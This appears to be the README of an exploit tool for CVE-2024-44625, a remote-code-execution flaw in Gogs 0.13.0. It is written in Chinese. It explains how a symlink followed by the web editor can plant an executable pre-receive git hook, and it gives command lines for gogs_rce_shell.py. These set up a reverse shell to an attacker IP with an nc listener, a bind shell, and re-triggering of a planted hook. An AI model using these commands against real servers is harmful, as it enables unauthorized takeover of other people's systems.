CVE-2024-44625 与 Gogs-RCE-0.13.0

已针对反向代理后方的 0.13.0 时代 Gogs 进行验证。利用原理：Web 编辑器符号链接跟随至一个不存在的 .git/hooks/pre-receive 文件，从而创建该文件（可执行）。此后每次推送到该仓库都会执行它。

用法：

反向 Shell（先运行监听器：nc -lvnp 4444）

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode reverse --lhost <YOUR_IP> --lport 4444

绑定 Shell（然后连接：nc ）

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode bind --bind-port 5555

重新触发已有钩子（仓库已被植入）而无需重新植入：

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode reverse --lhost IP --lport 4444 --repo <name> --reuse --triggers 3

注意事项：

该仓库是在 --owner（默认为 --user）下新建的一次性仓库。

CVE-2024-44625-Gogs-RCE-0.13.0

最受欢迎